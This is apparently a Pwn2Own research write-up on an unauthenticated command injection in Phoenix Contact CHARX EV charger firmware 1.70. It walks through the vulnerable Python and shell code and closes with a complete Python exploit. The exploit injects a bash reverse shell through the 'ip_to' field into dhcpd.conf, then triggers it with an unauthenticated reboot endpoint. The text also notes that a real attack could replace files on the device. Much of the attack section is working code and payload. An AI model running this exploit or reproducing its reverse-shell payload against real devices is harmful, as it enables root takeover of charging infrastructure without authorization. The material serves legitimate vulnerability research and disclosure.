A vulnerability was introduced in the 1.70 release of Phoenix Contact CHARX firmware.
The vulnerability allows for command injection due to missing authentication, leading to code execution as root.
An unauthenticated user can POST data to this endpoint and override the wifi configuration for the device.
if xaccess_point_service
is ran with the argument
start
, the code checks if the action in the configuration
file is access_point
# Start the access point service
def start():
log(f"starting {SCRIPT_NAME}...")
data = get_access_point_data()
log(f"{data}")
timeout = data.get('available_time', 0)
operation_mode = data.get("operation_mode")
if operation_mode == "access_point":
update_config_files(data)
update_default_dhcp(add=True)
set_iface_mode_ap()
restart_dhcpd()
start_hostapd()
set_timeout(timeout)
If so, it calls update_config_files
def update_config_files(config):
network_ip, netmask = split_network(config["network_cidr"])
broadcast = get_network_broadcast(config["network_cidr"])
set_interfaces(config['ip_address'], netmask, broadcast)
set_dhcp_config(network_ip, netmask, config["ip_from"], config["ip_to"], config["ip_address"])
set_hostapd_config(config["ssid"], config["band"], config['encryption'][-1], config["password"])
ip_address_cidr = f"{config['ip_address']}/{config['network_cidr'].split('/')[1]}"
restart_network(ip_address_cidr)
which calls set_dhcp_config
:
# Set the DHCP configuration for the access point
def set_dhcp_config(network, netmask, ip_from, ip_to, access_point_ip):
log(f"updating {DHCPD_CONF_PATH}")
new_config = DHCPD_CONF.format(**{
"network": network,
"netmask": netmask,
"ip_from": ip_from,
"ip_to": ip_to,
"access_point_ip": access_point_ip,
})
clear_config(DHCPD_CONF_PATH)
clear_config(DHCPD_CONF_PATH_2)
append_to_file(DHCPD_CONF_PATH, content=new_config)
append_to_file(DHCPD_CONF_PATH_2, content=new_config)
This function does two things. First, it clears the existing config from the file (using comment lines as start/stop markers).
Second, it then writes the new config to the file to
/etc/dhcp/dhcpd.conf
dhcpd
has an execute
statement which allows
you to execute external commands. Given that no validation is provided
on the ip_to
field, we can inject a command into this field
and get it to execute when dhcpd
parses the configuration
file.
Unfortunately it's hard to induce this behaviour, so we instead rely
on another unauthenticated endpoint
api/v1.0/reboot
in
api_reboot.so
to reboot the device, which triggers the
parsing and execution of the command.
This script only runs when the device is in client mode, and for the contest we need to exploit a server mode device. To resolve this, we use device DHCP bind scripts to trigger a switch.
By advertising an IP address on the 192.168.4.0/24 range, we can get the device to reboot to client mode.
In /etc/udhcpc.d/60systemreconfigure
:
#!/bin/bash
# /etc/udhcpc.d/60checkToSwitchToEv2000
HOSTNAME_EV3000="ev3000"
SWITCH_SCRIPT="/usr/lib/charx-system-switch/switch-to-ev2000.sh"
RECONF_IP1_VALUE=192
RECONF_IP2_VALUE=168
RECONF_IP3_VALUE=4
RECONF_IP4_LOWER_LIMIT=2
RECONF_IP4_UPPER_LIMIT=128
INTERVENTION_WAIT_TIME_SEC=180 # Allow for a "stop" in order to prevent boot loops
reason=$1
hostname="$(cat /etc/hostname)" # SystemConfigManager might not be running in this Situation
if [ "$reason" == "bound" ] && [ "$hostname" == "$HOSTNAME_EV3000" ];then
# DHCP has new address
ip_address="$(ifconfig eth0 | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}')"
IFS=. read ip1 ip2 ip3 ip4 <<< "$ip_address"
if [[ $ip1 -ge 0 ]] && [[ $ip1 -le 255 ]] && [[ $ip2 -ge 0 ]] && [[ $ip2 -le 255 ]] && [[ $ip3 -ge 0 ]] && [[ $ip3 -le 255 ]] && [[ $ip4 -ge 0 ]] && [[ $ip4 -le 255 ]]; then
/usr/bin/logger "recievied valid IPv4-Address via dhcp [$ip1.$ip2.$ip3.$ip4]"
if [[ $ip1 -eq $RECONF_IP1_VALUE ]] && [[ $ip2 -eq $RECONF_IP2_VALUE ]] && [[ $ip3 -eq $RECONF_IP3_VALUE ]] && [[ $ip4 -ge $RECONF_IP4_LOWER_LIMIT ]] && [[ $ip4 -le $RECONF_IP4_UPPER_LIMIT ]]; then
/usr/bin/logger "System is set to ev3000 [hostname: $hostname] and has an ip-address of eth1 dhcp subnet [$ip1.$ip2.$ip3.$ip4]"
/usr/bin/logger "System will try to be set to ev2000"
/bin/sleep $INTERVENTION_WAIT_TIME_SEC && $SWITCH_SCRIPT &
fi
fi
fi
Finally then, to exploit a server mode device, we:
In testing, this takes around 9 minutes, but it might be possible to get the device to check for a new lease faster. Our expectation is that on first boot we can advertise, leading to a client mode switch early on.
A usable exploit can be built with these primitives.
For the sake of Pwn2Own we just make a reverse shell. As the device
has no binary signing or authentication, a real attack would involve the
replacement or creation of a file before calling
/usr/lib/charx-system-switch/switch-to-ev3000.sh
to revert
back to server mode.
import argparse
import json
import requests
from urllib.parse import urljoin
class CharxTarget:
__slots__ = ["__target_url", "__is_client", "__target_endpoint"]
def __init__(self, url: str):
self.__target_url: str = url
self.__target_endpoint: str = urljoin(url, "api/v1.0/Wifi/settings")
def exploit(self, callback_ip: str, callback_port: int):
# command: str = "/bin/bash -i >& /dev/tcp/192.168.2.36/1337 0>&1"
# command: str = ",".join([f'"{part}"' for part in shlex.split(command)])
# print(f"split command: {command}")
data = {
"operation_mode": "access_point",
"available_time": 1200,
"band": "g",
"encryption": "WPA2",
"ip_address": "192.168.1.1",
"ip_from": "192.168.1.100",
"ip_to": '192.168.1.254;}\nexecute("/bin/bash", "-c", "bash -i >& /dev/tcp/' + callback_ip + '/' + str(callback_port) + ' 0>&1");\nsubnet 192.168.13.0 netmask 255.255.255.0 {set pew = 1',
"ssid": "CHARX_AP",
"network_cidr": "192.168.1.0/24",
"password": "CHARX_Passwordl",
"connect_network": "",
"country_code": "DE",
"enable_access_point": True,
"enable_wifi": False,
}
r = requests.post(self.__target_endpoint, data={"value": json.dumps(data)})
print(f"Response to injection: {r.status_code}")
r = requests.post(urljoin(self.__target_url, "api/v1.0/reboot"))
print(f"Response to reboot: {r.status_code}")
r = requests.get(self.__target_endpoint)
print(r.text)
if __name__ == "__main__":
args = argparse.ArgumentParser(description="charx RCE")
args.add_argument("--url", type=str, required=True, help="Web UI base URL (e.g http://192.168.2.38:5001/")
args.add_argument("--ip", type=str, required=True, help="The IP to connect to")
args.add_argument("--port", type=str, required=True, help="The port to connect to")
args = args.parse_args()
CharxTarget(args.url).exploit(args.ip, args.port)